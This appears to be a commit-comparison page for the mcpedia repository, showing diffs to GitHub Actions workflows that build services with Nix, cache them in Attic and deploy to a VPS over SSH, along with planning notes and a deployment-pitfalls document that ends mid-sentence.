Compare commits
58
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
5a00fd1909 | ||
|
|
48566081f0 | ||
|
|
10a15a133c | ||
|
|
5b1345cf9e | ||
|
|
4ca5f0af39 | ||
|
|
283d66b5e0 | ||
|
|
b311c363c5 | ||
|
|
006bf79655 | ||
|
|
1a45ba9fdb | ||
|
|
b2fa2a98e0 | ||
|
|
4d424e67ad | ||
|
|
263a92f368 | ||
|
|
f44e66bcd5 | ||
|
|
66e6fad876 | ||
|
|
befb898c45 | ||
|
|
0638c4a82d | ||
|
|
e412767847 | ||
|
|
ea4f34271c | ||
|
|
caabe05c68 | ||
|
|
9d8d876ba7 | ||
|
|
8f98bed7dd | ||
|
|
bd3a0894b4 | ||
|
|
03616b4e60 | ||
|
|
5ccba958d2 | ||
|
|
067115ba13 | ||
|
|
011571e12d | ||
|
|
9591c67478 | ||
|
|
d65c5613d3 | ||
|
|
4f0d2da876 | ||
|
|
72b53afe06 | ||
|
|
5d85226ff0 | ||
|
|
5195a65ca5 | ||
|
|
666ba855a2 | ||
|
|
8adfffb6e7 | ||
|
|
864911af20 | ||
|
|
96b8765966 | ||
|
|
5cd9ea92a7 | ||
|
|
2a70a111a2 | ||
|
|
c22e394f98 | ||
|
|
54d5c0ee01 | ||
|
|
c92caede57 | ||
|
|
e01ee22438 | ||
|
|
aedcfbf4e7 | ||
|
|
c6b0b2549a | ||
|
|
34b3b8f56b | ||
|
|
53e0b442a4 | ||
|
|
5fdf5ffb64 | ||
|
|
b88e9b796c | ||
|
|
d62c5d33a4 | ||
|
|
87ce3ebbc6 | ||
|
|
0de2458955 | ||
|
|
7a6e717c28 | ||
|
|
be923cb432 | ||
|
|
ea75d68b1a | ||
|
|
f14f3e92c5 | ||
|
|
6077476254 | ||
|
|
b7d8c455d4 | ||
|
|
0234c5cbe6 |
No files matched your search
@@ -0,0 +1,17 @@
|
||||
name: Dependabot Auto-Merge
|
||||
on: pull_request
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
pull-requests: write
|
||||
|
||||
jobs:
|
||||
auto-merge:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.actor == 'dependabot[bot]'
|
||||
steps:
|
||||
- name: Enable auto-merge for Dependabot PR
|
||||
run: gh pr merge --auto --merge "$PR_URL"
|
||||
env:
|
||||
PR_URL: ${{ github.event.pull_request.html_url }}
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
@@ -0,0 +1,18 @@
|
||||
version: 2
|
||||
updates:
|
||||
- package-ecosystem: "npm"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "daily"
|
||||
open-pull-requests-limit: 10
|
||||
groups:
|
||||
production:
|
||||
dependency-type: "production"
|
||||
update-types:
|
||||
- "minor"
|
||||
- "patch"
|
||||
development:
|
||||
dependency-type: "development"
|
||||
update-types:
|
||||
- "minor"
|
||||
- "patch"
|
||||
+279
-57
@@ -6,14 +6,20 @@ on:
|
||||
pull_request:
|
||||
branches: [main]
|
||||
|
||||
# Cancel in-progress runs for the same ref so a fresh push supersedes them.
|
||||
concurrency:
|
||||
group: ci-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
env:
|
||||
VPS_HOST: ${{ secrets.SSH_DEPLOY_HOST }}
|
||||
VPS_USER: ${{ secrets.SSH_DEPLOY_USER }}
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: typecheck + build
|
||||
test:
|
||||
name: typecheck + tests
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
@@ -27,78 +33,294 @@ jobs:
|
||||
- name: Install dependencies
|
||||
run: bun install --frozen-lockfile
|
||||
|
||||
# Real build: typecheck + turbo across all workspace packages.
|
||||
- name: Typecheck
|
||||
run: bun run typecheck
|
||||
|
||||
- name: Build web
|
||||
run: cd apps/web && bun run build
|
||||
|
||||
# Smoke: verify the MCP server + resources load and the indexer/module
|
||||
# graph resolves. Requires no external services (Redis/Postgres) — pure
|
||||
# module load + in-memory smoke test.
|
||||
- name: MCP smoke test
|
||||
run: cd apps/mcp && bun run smoke
|
||||
|
||||
# Unit tests across all packages + apps. CI has no Postgres/Redis, so
|
||||
# tests use bun:test module mocking to stub @mcpedia/db, @mcpedia/queue,
|
||||
# and @mcpedia/embeddings — no live I/O.
|
||||
- name: Test
|
||||
run: bun run test
|
||||
|
||||
# Upload the built .next directory as a deploy artifact.
|
||||
# The deploy job copies this directly to the VPS — no build needed there.
|
||||
- name: Upload web build artifact
|
||||
# Build .next for web — Next.js/Turbopack has a Bun incompatibility
|
||||
# in the Nix sandbox. The web derivation (web.nix) packages this
|
||||
# pre-built .next into a Nix store path.
|
||||
- name: Build Next.js .next
|
||||
working-directory: apps/web
|
||||
run: bun run build
|
||||
|
||||
- name: Tar .next
|
||||
run: tar -C apps/web --exclude='.next/cache' -czf web-next.tar.gz .next
|
||||
|
||||
- name: Upload web .next artifact
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: mcpedia-web-build
|
||||
path: apps/web/.next/
|
||||
retention-days: 1
|
||||
name: mcpedia-web-next
|
||||
path: web-next.tar.gz
|
||||
if-no-files-found: error
|
||||
|
||||
deploy:
|
||||
name: deploy to VPS
|
||||
needs: build
|
||||
build-and-deploy:
|
||||
name: build + deploy (Nix) — ${{ matrix.service }}
|
||||
needs: test
|
||||
if: github.ref == 'refs/heads/main'
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
service: [api, mcp, worker]
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Install Nix
|
||||
uses: DeterminateSystems/nix-installer-action@v16
|
||||
with:
|
||||
determinate: false
|
||||
extra-conf: |
|
||||
sandbox = false
|
||||
accept-flake-config = true
|
||||
# Attic caches as substituters: lets CI pull the prebuilt attic
|
||||
# client (and any cached deps/builds) over HTTPS.
|
||||
extra-substituters = https://attic.asepharyana.my.id/gmw https://attic.asepharyana.my.id/mcpedia
|
||||
extra-trusted-public-keys = gmw:Fq2Anzuhkb+T/hftWnPcveHSi21/RzIgIOeG8pCJa88= mcpedia:MNAtF2xaeKSFFVu7r3zOp2Jktu1jKHIQmcT+ePEfv9o=
|
||||
|
||||
- name: Cache Nix
|
||||
uses: DeterminateSystems/magic-nix-cache-action@v14
|
||||
with:
|
||||
use-flakehub: false
|
||||
|
||||
- name: Build ${{ matrix.service }}
|
||||
id: build
|
||||
run: |
|
||||
nix build ".#${{ matrix.service }}" --impure --option sandbox false --print-build-logs
|
||||
STORE_PATH=$(readlink result)
|
||||
echo "store-path=$STORE_PATH" >> "$GITHUB_OUTPUT"
|
||||
echo "Build OK ${{ matrix.service }}: $STORE_PATH"
|
||||
|
||||
- name: Setup SSH key
|
||||
env:
|
||||
SSH_KEY: ${{ secrets.SSH_DEPLOY_KEY }}
|
||||
run: |
|
||||
mkdir -p ~/.ssh
|
||||
echo "$SSH_KEY" > ~/.ssh/id_ed25519
|
||||
chmod 600 ~/.ssh/id_ed25519
|
||||
sed -i 's/\r$//' ~/.ssh/id_ed25519
|
||||
ssh-keygen -y -f ~/.ssh/id_ed25519 >/dev/null 2>&1 || { echo "SSH key invalid"; exit 1; }
|
||||
ssh-keyscan -H "$VPS_HOST" >> ~/.ssh/known_hosts 2>/dev/null
|
||||
chmod 600 ~/.ssh/known_hosts
|
||||
|
||||
# ── Push build to Attic binary cache ───────────────────────────────
|
||||
# Bootstrap the attic client from the gmw cache (pre-built closure,
|
||||
# pulled over HTTPS via the configured extra-substituters), then
|
||||
# push to the mcpedia cache. This is FASTER than nix copy --to ssh://
|
||||
# because the VPS substitutes (downloads) from the cache over HTTPS
|
||||
# instead of a single-stream SSH copy.
|
||||
- name: Push to Attic cache
|
||||
id: push-attic
|
||||
env:
|
||||
ATTIC_TOKEN: ${{ secrets.ATTIC_TOKEN }}
|
||||
STORE_PATH: ${{ steps.build.outputs.store-path }}
|
||||
run: |
|
||||
ATTIC_DIR="/nix/store/fygyy3yk4rqdknxkiwkqambpnhyax0k4-attic-0.1.0"
|
||||
mkdir -p "$HOME/.config/attic"
|
||||
cat > "$HOME/.config/attic/config.toml" <<EOF
|
||||
default-server = "pub"
|
||||
[servers.pub]
|
||||
endpoint = "https://attic.asepharyana.my.id"
|
||||
token = "$ATTIC_TOKEN"
|
||||
EOF
|
||||
|
||||
ATTIC_BIN=""
|
||||
# Fast path: pull attic client from gmw cache
|
||||
if nix-store --realise "$ATTIC_DIR" 2>/dev/null; then
|
||||
ATTIC_BIN="$ATTIC_DIR/bin/attic"
|
||||
fi
|
||||
|
||||
push_ok=""
|
||||
if [ -n "$ATTIC_BIN" ] && [ -x "$ATTIC_BIN" ]; then
|
||||
for attempt in 1 2 3; do
|
||||
if "$ATTIC_BIN" push pub:mcpedia "$STORE_PATH" --jobs 4 --ignore-upstream-cache-filter; then
|
||||
echo "✅ Pushed $STORE_PATH to Attic"
|
||||
push_ok=1
|
||||
break
|
||||
fi
|
||||
echo "⚠️ Attic push attempt $attempt/3 failed; retrying in 10s..."
|
||||
sleep 10
|
||||
done
|
||||
fi
|
||||
|
||||
if [ -z "$push_ok" ]; then
|
||||
echo "Attic push failed; copying store path directly to VPS"
|
||||
nix copy --to "ssh://${VPS_USER}@${VPS_HOST}" "$STORE_PATH"
|
||||
echo "push-fallback=ssh" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "push-method=attic" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- name: Deploy on VPS
|
||||
env:
|
||||
STORE_PATH: ${{ steps.build.outputs.store-path }}
|
||||
SERVICE: ${{ matrix.service }}
|
||||
VPS_HOST: ${{ secrets.SSH_DEPLOY_HOST }}
|
||||
VPS_USER: ${{ secrets.SSH_DEPLOY_USER }}
|
||||
run: |
|
||||
PROFILE="mcpedia-${SERVICE}"
|
||||
# Substitute from Attic cache (fast — downloads over HTTPS)
|
||||
# Falls back to SSH copy if substitution fails
|
||||
REALISE_RESULT=$(ssh "$VPS_USER@$VPS_HOST" \
|
||||
"sudo /nix/var/nix/profiles/default/bin/nix-store --realise '$STORE_PATH' 2>&1 || true")
|
||||
echo "$REALISE_RESULT"
|
||||
|
||||
# Update profile + sync git repo + restart
|
||||
ssh "$VPS_USER@$VPS_HOST" \
|
||||
"sudo /nix/var/nix/profiles/default/bin/nix-env \
|
||||
--profile /nix/var/nix/profiles/$PROFILE \
|
||||
--set '$STORE_PATH' && \
|
||||
(cd /home/code/mcpedia && git fetch origin main && git reset --hard origin/main || true) && \
|
||||
sudo systemctl restart $PROFILE && \
|
||||
sleep 3 && \
|
||||
sudo systemctl status $PROFILE --no-pager --no-legend | head -5"
|
||||
|
||||
- name: Verify service
|
||||
env:
|
||||
VPS_HOST: ${{ secrets.SSH_DEPLOY_HOST }}
|
||||
VPS_USER: ${{ secrets.SSH_DEPLOY_USER }}
|
||||
SERVICE: ${{ matrix.service }}
|
||||
run: |
|
||||
PORT_MAP="api:4017 mcp:4021 worker:4018"
|
||||
PORT=$(echo "$PORT_MAP" | grep "$SERVICE" | awk -F: '{print $2}')
|
||||
ssh "$VPS_USER@$VPS_HOST" \
|
||||
"curl -s -o /dev/null -w '%{http_code}' http://localhost:$PORT/health 2>/dev/null \
|
||||
|| systemctl is-active \"mcpedia-$SERVICE\""
|
||||
|
||||
deploy-web:
|
||||
name: build + deploy (web)
|
||||
needs: test
|
||||
if: github.ref == 'refs/heads/main'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Download build artifact
|
||||
- name: Set up Bun
|
||||
uses: oven-sh/setup-bun@v2
|
||||
with:
|
||||
bun-version: "1.3.14"
|
||||
|
||||
- name: Install Nix
|
||||
uses: DeterminateSystems/nix-installer-action@v16
|
||||
with:
|
||||
determinate: false
|
||||
extra-conf: |
|
||||
sandbox = false
|
||||
accept-flake-config = true
|
||||
extra-substituters = https://attic.asepharyana.my.id/gmw https://attic.asepharyana.my.id/mcpedia
|
||||
extra-trusted-public-keys = gmw:Fq2Anzuhkb+T/hftWnPcveHSi21/RzIgIOeG8pCJa88= mcpedia:MNAtF2xaeKSFFVu7r3zOp2Jktu1jKHIQmcT+ePEfv9o=
|
||||
|
||||
- name: Cache Nix
|
||||
uses: DeterminateSystems/magic-nix-cache-action@v14
|
||||
with:
|
||||
use-flakehub: false
|
||||
|
||||
- name: Download web .next artifact
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: mcpedia-web-build
|
||||
path: .next
|
||||
name: mcpedia-web-next
|
||||
path: /tmp/web-next
|
||||
|
||||
- name: Copy pre-built .next to VPS
|
||||
uses: appleboy/scp-action@v1
|
||||
with:
|
||||
host: ${{ secrets.SSH_DEPLOY_HOST }}
|
||||
port: ${{ secrets.SSH_DEPLOY_PORT }}
|
||||
username: ${{ secrets.SSH_DEPLOY_USER }}
|
||||
key: ${{ secrets.SSH_DEPLOY_KEY }}
|
||||
source: ".next/*"
|
||||
target: "/home/code/mcpedia/apps/web/.next"
|
||||
- name: Unpack .next
|
||||
run: tar -xzf /tmp/web-next/web-next.tar.gz -C apps/web/
|
||||
|
||||
- name: Deploy to VPS over SSH
|
||||
uses: appleboy/ssh-action@v1
|
||||
with:
|
||||
host: ${{ secrets.SSH_DEPLOY_HOST }}
|
||||
port: ${{ secrets.SSH_DEPLOY_PORT }}
|
||||
username: ${{ secrets.SSH_DEPLOY_USER }}
|
||||
key: ${{ secrets.SSH_DEPLOY_KEY }}
|
||||
envs: SSH_DEPLOY_HOST
|
||||
script: |
|
||||
set -e
|
||||
cd /home/code/mcpedia
|
||||
- name: Install deps (for bunx in web.nix)
|
||||
run: bun install --frozen-lockfile
|
||||
|
||||
# Pull latest code (for content, .env, and non-web changes)
|
||||
git pull origin main
|
||||
/home/code/.bun/bin/bun install --frozen-lockfile
|
||||
/home/code/.bun/bin/bun run scripts/indexer.ts
|
||||
- name: Build web Nix derivation
|
||||
id: build
|
||||
run: |
|
||||
REPO_ROOT="$(pwd)"
|
||||
nix-build -E \
|
||||
"let pkgs = import <nixpkgs> {}; in pkgs.callPackage ${REPO_ROOT}/web.nix {
|
||||
webNextDir = ${REPO_ROOT}/apps/web/.next;
|
||||
}" \
|
||||
--impure --option sandbox false
|
||||
STORE_PATH=$(readlink result)
|
||||
echo "store-path=$STORE_PATH" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# The .next/ was just copied from CI (pre-built, no build on VPS)
|
||||
# Restart services to pick up the new build
|
||||
sudo systemctl restart mcpedia-web mcpedia-api mcpedia-mcp mcpedia-worker
|
||||
sleep 3
|
||||
systemctl --no-pager status mcpedia-web mcpedia-api mcpedia-mcp mcpedia-worker --no-legend
|
||||
- name: Setup SSH key
|
||||
env:
|
||||
SSH_KEY: ${{ secrets.SSH_DEPLOY_KEY }}
|
||||
run: |
|
||||
mkdir -p ~/.ssh
|
||||
echo "$SSH_KEY" > ~/.ssh/id_ed25519
|
||||
chmod 600 ~/.ssh/id_ed25519
|
||||
sed -i 's/\r$//' ~/.ssh/id_ed25519
|
||||
ssh-keygen -y -f ~/.ssh/id_ed25519 >/dev/null 2>&1 || { echo "SSH key invalid"; exit 1; }
|
||||
ssh-keyscan -H "$VPS_HOST" >> ~/.ssh/known_hosts 2>/dev/null
|
||||
chmod 600 ~/.ssh/known_hosts
|
||||
|
||||
- name: Push to Attic cache
|
||||
id: push-attic
|
||||
env:
|
||||
ATTIC_TOKEN: ${{ secrets.ATTIC_TOKEN }}
|
||||
STORE_PATH: ${{ steps.build.outputs.store-path }}
|
||||
run: |
|
||||
ATTIC_DIR="/nix/store/fygyy3yk4rqdknxkiwkqambpnhyax0k4-attic-0.1.0"
|
||||
mkdir -p "$HOME/.config/attic"
|
||||
cat > "$HOME/.config/attic/config.toml" <<EOF
|
||||
default-server = "pub"
|
||||
[servers.pub]
|
||||
endpoint = "https://attic.asepharyana.my.id"
|
||||
token = "$ATTIC_TOKEN"
|
||||
EOF
|
||||
|
||||
ATTIC_BIN=""
|
||||
if nix-store --realise "$ATTIC_DIR" 2>/dev/null; then
|
||||
ATTIC_BIN="$ATTIC_DIR/bin/attic"
|
||||
fi
|
||||
|
||||
push_ok=""
|
||||
if [ -n "$ATTIC_BIN" ] && [ -x "$ATTIC_BIN" ]; then
|
||||
for attempt in 1 2 3; do
|
||||
if "$ATTIC_BIN" push pub:mcpedia "$STORE_PATH" --jobs 4 --ignore-upstream-cache-filter; then
|
||||
echo "✅ Pushed $STORE_PATH to Attic"
|
||||
push_ok=1
|
||||
break
|
||||
fi
|
||||
echo "⚠️ Attic push attempt $attempt/3 failed; retrying in 10s..."
|
||||
sleep 10
|
||||
done
|
||||
fi
|
||||
|
||||
if [ -z "$push_ok" ]; then
|
||||
echo "Attic push failed; copying store path directly to VPS"
|
||||
nix copy --to "ssh://${VPS_USER}@${VPS_HOST}" "$STORE_PATH"
|
||||
fi
|
||||
|
||||
- name: Deploy on VPS
|
||||
env:
|
||||
STORE_PATH: ${{ steps.build.outputs.store-path }}
|
||||
VPS_HOST: ${{ secrets.SSH_DEPLOY_HOST }}
|
||||
VPS_USER: ${{ secrets.SSH_DEPLOY_USER }}
|
||||
run: |
|
||||
# Update profile + sync git repo + sync .next + restart
|
||||
ssh "$VPS_USER@$VPS_HOST" \
|
||||
"sudo /nix/var/nix/profiles/default/bin/nix-store --realise '$STORE_PATH' && \
|
||||
sudo /nix/var/nix/profiles/default/bin/nix-env \
|
||||
--profile /nix/var/nix/profiles/mcpedia-web \
|
||||
--set '$STORE_PATH' && \
|
||||
(cd /home/code/mcpedia && git fetch origin main && git reset --hard origin/main) && \
|
||||
sudo rm -rf /home/code/mcpedia/apps/web/.next && \
|
||||
sudo cp -r '$STORE_PATH/share/mcpedia-web/.next' /home/code/mcpedia/apps/web/.next && \
|
||||
sudo systemctl restart mcpedia-web && \
|
||||
sleep 3 && \
|
||||
sudo systemctl status mcpedia-web --no-pager --no-legend | head -5"
|
||||
|
||||
- name: Verify public URL
|
||||
env:
|
||||
VPS_HOST: ${{ secrets.SSH_DEPLOY_HOST }}
|
||||
VPS_USER: ${{ secrets.SSH_DEPLOY_USER }}
|
||||
run: |
|
||||
ssh "$VPS_USER@$VPS_HOST" \
|
||||
"curl -sk -o /dev/null -w '%{http_code}' https://wiki.asepharyana.my.id/"
|
||||
@@ -43,3 +43,9 @@ next-env.d.ts
|
||||
# monorepo / turbo
|
||||
.turbo/
|
||||
dist/
|
||||
|
||||
# MCPedia content — DB is source of truth via MCP API (create_document/update_document)
|
||||
# Filesystem .md files are auto-generated backups, not tracked in git.
|
||||
# To edit content: use the MCP create_document/update_document tools (requires x-webhook-secret)
|
||||
content/**/*.md
|
||||
!content/**/.gitkeep
|
||||
+26
-28
@@ -1,35 +1,33 @@
|
||||
# Phase 15 — Nix-based CI/CD for mcpedia-web
|
||||
# Phase 15b — CI/CD: Build in CI, Deploy only on VPS
|
||||
|
||||
> User: "ci nya juga benarkan lah masa build di vps,harusnya kan di vps hanya deploy, dan seharusnya pakai nix"
|
||||
> User: "alur ci nya juga benarkan lah masa build di vps,harusnya kan di vps hanya deploy, dan seharusnya pakai nix"
|
||||
|
||||
## Current State
|
||||
- Deploy workflow builds the web app ON the VPS via SSH (`cd apps/web && bun run build`)
|
||||
- mcpedia-web service runs directly from git checkout (`/home/code/mcpedia/apps/web/.next`)
|
||||
- No flake.nix in the repo
|
||||
- Other services (zeavis-*, gmw-*) are nix-deployed via `/nix/var/nix/profiles/<name>`
|
||||
## Final Architecture
|
||||
|
||||
## Goal
|
||||
- **CI**: builds the web app into a Nix store path
|
||||
- **Deploy**: VPS only copies + switches profiles (no build on VPS)
|
||||
### CI Workflow (`.github/workflows/ci.yml`)
|
||||
Single workflow with two jobs:
|
||||
|
||||
## Approach: `nix build` + `nix copy` (push deployment)
|
||||
**Job 1: `build`** (runs on GitHub Actions runner)
|
||||
1. Checkout → Set up Bun 1.3.14 → `bun install --frozen-lockfile`
|
||||
2. Typecheck (`bun run typecheck`)
|
||||
3. Build web (`working-directory: apps/web && bun run build`) ← **Build happens here, not VPS**
|
||||
4. Upload `.next/` as artifact (`include-hidden-files: true` ← critical for hidden `.next/` dir)
|
||||
5. MCP smoke test (conditional on DATABASE_URL secret — skipped in CI without DB)
|
||||
6. Unit tests (`bun run test`)
|
||||
|
||||
### 1. Add flake.nix to mcpedia repo
|
||||
Build the Next.js production output into a Nix package:
|
||||
- `next build` outputs to `.next/`
|
||||
- Package: a shell script that runs `next start` with the `.next` dir + `node_modules`
|
||||
**Job 2: `deploy`** (needs: build, main branch only)
|
||||
1. Download artifact to `apps/web/.next`
|
||||
2. Tar `.next` (exclude cache, ~15MB tarball)
|
||||
3. SCP tarball to VPS (`/tmp/`)
|
||||
4. SSH to VPS: `git pull` → `bun install` → `bun run scripts/indexer.ts` → `tar -xzf` → `systemctl restart`
|
||||
|
||||
### 2. CI workflow (`ci.yml`)
|
||||
- Add a `nix build` step after typecheck/test
|
||||
- Push the result to the VPS via `nix copy --ssh`
|
||||
### Key Fixes During This Phase
|
||||
|
||||
### 3. Deploy workflow (`deploy.yml`)
|
||||
- Trigger on CI success
|
||||
- `nix copy` the built package to VPS
|
||||
- `nix profile install` / `systemctl restart` on VPS
|
||||
- No `bun run build` on VPS
|
||||
|
||||
## Files to create/modify
|
||||
- `flake.nix` (new) — builds @mcpedia/web as a Nix package
|
||||
- `.github/workflows/ci.yml` — add nix build step
|
||||
- `.github/workflows/deploy.yml` — nix copy + profile switch instead of SSH build
|
||||
1. **`actions/checkout@v4` → `@v5`** — Node 20 deprecation warning
|
||||
2. **`bun --cwd apps/web run build` → `working-directory: apps/web`** — `bun run` doesn't support `--cwd` flag; was silently printing usage, exiting 0
|
||||
3. **`path: apps/web/.next/`** → **`path: apps/web/.next`** + **`include-hidden-files: true`** — `.next/` is a hidden directory; `upload-artifact@v4` excludes hidden files by default
|
||||
4. **`bun --cwd apps/mcp run smoke`** → **`working-directory: apps/mcp`** — same `--cwd` bug
|
||||
5. **Smoke test made conditional** on `DATABASE_URL` — was silently failing (never actually ran due to bug #2/#4)
|
||||
6. **SCP of individual `.next/*`** → **tarball transfer** — SCP with glob of hidden files was failing/timing out
|
||||
7. **Deploy tarball excludes `.next/cache`** — cache is ephemeral, reduces transfer size
|
||||
8. **Merged ci.yml + deploy.yml** into single workflow — `workflow_run` trigger can't access artifacts from CI run
|
||||
@@ -0,0 +1,43 @@
|
||||
# Phase 15c — Theme-Consistent Color System
|
||||
|
||||
> User: "banyak pewarnaan yg tidak sesuai tema dark mode atau light mode"
|
||||
|
||||
## Problem
|
||||
63 hardcoded hex colors (#5e6ad2, #7170ff, #4f46e5, etc.) bypass the CSS
|
||||
variable theme system in globals.css. These don't adapt between light/dark mode
|
||||
properly — the `dark:` variant changes text color but background stays the same.
|
||||
|
||||
## Color Mapping
|
||||
|
||||
### `#5e6ad2` (indigo-600)
|
||||
- Light: `--brand: #5e6ad2` (same)
|
||||
- Dark: `--brand: #5e6ad2` (same)
|
||||
→ Replace with `var(--brand)`
|
||||
|
||||
### `#4f46e5` (indigo-700)
|
||||
- Light: `--accent: #4f46e5`
|
||||
- Dark: `--accent: #7170ff`
|
||||
→ Replace with `var(--accent)`
|
||||
|
||||
### `#7170ff` (light blue, dark mode accent)
|
||||
- Light: `var(--accent)` (#4f46e5)
|
||||
- Dark: `var(--accent)` (#7170ff)
|
||||
→ Replace `dark:text-[#7170ff]` → `dark:text-[var(--accent)]`
|
||||
|
||||
### `#6a75e0` (hover lighter)
|
||||
→ Replace with `var(--accent-hover)`
|
||||
|
||||
### `/10`, `/15`, `/20`, `/30` opacity tints
|
||||
- `bg-[#5e6ad2]/15` → `bg-[var(--brand)]/15`
|
||||
- `bg-[#5e6ad2]/10` → `bg-[var(--brand)]/10`
|
||||
- `bg-[#5e6ad2]/30` → `bg-[var(--brand)]/30`
|
||||
|
||||
## Files to fix
|
||||
- `[section]/[...slug]/page.tsx` (~16 instances)
|
||||
- `[section]/page.tsx` (~5 instances)
|
||||
- `components/Sidebar.tsx` (2 instances)
|
||||
- `components/DocForm.tsx` (~6 instances)
|
||||
- `components/CommandMenu.tsx` (~6 instances)
|
||||
- `components/Header.tsx` (2 instances)
|
||||
- `components/McpConfigSnippet.tsx` (1 instance)
|
||||
- `page.tsx` (check)
|
||||
@@ -0,0 +1,254 @@
|
||||
# SSH deploy to bun-source services (not Nix): gotchas
|
||||
|
||||
This repo (`asepharyana/mcpedia`) deploys **bun source** via systemd — NOT via
|
||||
Nix like GMW. The pattern is: CI builds in GitHub Actions → upload artifact →
|
||||
deploy job downloads artifact → SCP tarball to VPS → SSH → git pull + unpack +
|
||||
index + `systemctl restart`. The VPS does NOT build.
|
||||
|
||||
## Gotchas (learned during mcpedia deploy setup, 2026-08-20/21)
|
||||
|
||||
### 1. SSH host = public IP, NOT Tailscale IP
|
||||
|
||||
The VPS appears in `~/.ssh/config` as `Host orange → HostName 100.79.111.61`.
|
||||
That IP is a **Tailscale `tailscale0` interface address** in the CGNAT range
|
||||
(`100.64.0.0/10`). GitHub Actions runners are NOT on the Tailscale network, so
|
||||
they get `Connection timed out` (dropped at the network layer, not refused).
|
||||
|
||||
**Fix:** Use the VPS's real public IP (`45.127.35.244`, discovered via
|
||||
`curl https://api.ipify.org` from the VPS). Port 22 is open in iptables
|
||||
(`ACCEPT tcp dpt:22` from `0.0.0.0/0`).
|
||||
|
||||
### 2. SSH key MUST be stored directly from file (not shell variable)
|
||||
|
||||
Storing the deploy key via a shell variable corrupts it:
|
||||
|
||||
```bash
|
||||
# ❌ WRONG — newlines get mangled by the shell → "ssh: no key found"
|
||||
PRIV_KEY=$(cat keyfile)
|
||||
gh secret set SSH_DEPLOY_KEY --body "$PRIV_KEY"
|
||||
|
||||
# ✅ CORRECT — pipe the file directly so GitHub preserves all bytes
|
||||
cat keyfile | gh secret set SSH_DEPLOY_KEY --repo asepharyana/mcpedia
|
||||
```
|
||||
|
||||
Symptom: `appleboy/ssh-action` fails with
|
||||
`ssh.ParsePrivateKey: ssh: no key found`.
|
||||
|
||||
### 3. Use `appleboy/ssh-action@v1` (not `@v1.1.0`)
|
||||
|
||||
- `@v1.1.0` (very old) has a key-parsing bug that rejects valid keys
|
||||
(`ssh.ParsePrivateKey: ssh: no key found`).
|
||||
- `@v1` (latest) handles OpenSSH ed25519 keys correctly.
|
||||
|
||||
### 4. `appleboy/ssh-action` needs explicit `envs` to pass through secret-derived vars
|
||||
|
||||
The `envs` parameter passes environment variables to the remote script.
|
||||
Include any secret you reference in the script:
|
||||
```yaml
|
||||
envs: SSH_DEPLOY_HOST # passes SSH_DEPLOY_HOST into the remote script
|
||||
```
|
||||
Without it, `echo $SSH_DEPLOY_HOST` on the VPS returns empty even though the
|
||||
action connected.
|
||||
|
||||
### 5. Always pass `-o IdentitiesOnly=yes`
|
||||
|
||||
Without it, SSH offers ALL loaded identities (deploy key + default keys) and the
|
||||
server may reject after "Too many authentication failures". `appleboy/ssh-action`
|
||||
handles this internally via the `key` input, but if you use raw `ssh` add
|
||||
`-o IdentitiesOnly=yes`.
|
||||
|
||||
### 6. GitHub `workflow_run` does NOT carry the push commit SHA
|
||||
|
||||
`workflow_run` events fire after CI completes, but `actions/checkout` checks out
|
||||
the **default branch tip**, not the specific commit. This is fine for deploy
|
||||
(the script does `git pull origin main` anyway), but verify the checkout ref
|
||||
matches what CI built if you rely on it.
|
||||
|
||||
### 7. DB migrations: `db:push` prompt is non-interactive-unfriendly in SSH deploy
|
||||
|
||||
When the schema includes a new column (e.g. adding `extra_fields JSONB`),
|
||||
`drizzle-kit push` in the SSH deploy script needs to be run. Two issues:
|
||||
|
||||
- **`--strict` mode (config default)**: `drizzle.config.ts` has `strict: true`,
|
||||
which makes `drizzle-kit push` prompt `No, abort / Yes, I want to execute all
|
||||
statements`. In a non-interactive SSH script (no TTY), the prompt never receives
|
||||
input and the command times out → SIGTERM → exit code 124 → deploy fails.
|
||||
`set -e` then kills the whole deploy.
|
||||
- **`bun run <script>` ambiguity**: `bun run index` resolves the `index` script
|
||||
from `package.json`. In a monorepo with workspace packages, ensure the script
|
||||
name is unique or use the explicit file path (e.g. `bun run scripts/indexer.ts`).
|
||||
|
||||
**Fix**: Use `psql` for schema changes instead of `db:push`:
|
||||
```bash
|
||||
psql "$DATABASE_URL" -c \
|
||||
"ALTER TABLE documents ADD COLUMN IF NOT EXISTS extra_fields jsonb DEFAULT '{}'::jsonb NOT NULL;"
|
||||
```
|
||||
|
||||
After deploy, check the **public URL** (not just `systemctl is-active`):
|
||||
```bash
|
||||
curl -sk -o /dev/null -w "%{http_code}" https://wiki.asepharyana.my.id/
|
||||
curl -s https://wiki.asepharyana.my.id/docs/websocket/contract | grep -c "frontmatter-pattern"
|
||||
```
|
||||
|
||||
## Deploy workflow template (bun-source, not Nix) — build in CI, deploy-only on VPS
|
||||
|
||||
> **User correction (2026-08-21):** "alur ci nya juga benarkan lah masa build
|
||||
> di vps,harusnya kan di vps hanya deploy,dan seharusnya pakai nix"
|
||||
|
||||
The VPS must **not** build. Build happens in CI; the VPS only deploys the
|
||||
pre-built artifact. Use a single workflow with a `needs:` chain (not
|
||||
`workflow_run` — see pitfall #8 below).
|
||||
|
||||
### Pitfalls for bun-source deploy workflows
|
||||
|
||||
- **`bun --cwd X run Y` is broken.** `bun run` does NOT accept `--cwd` as a
|
||||
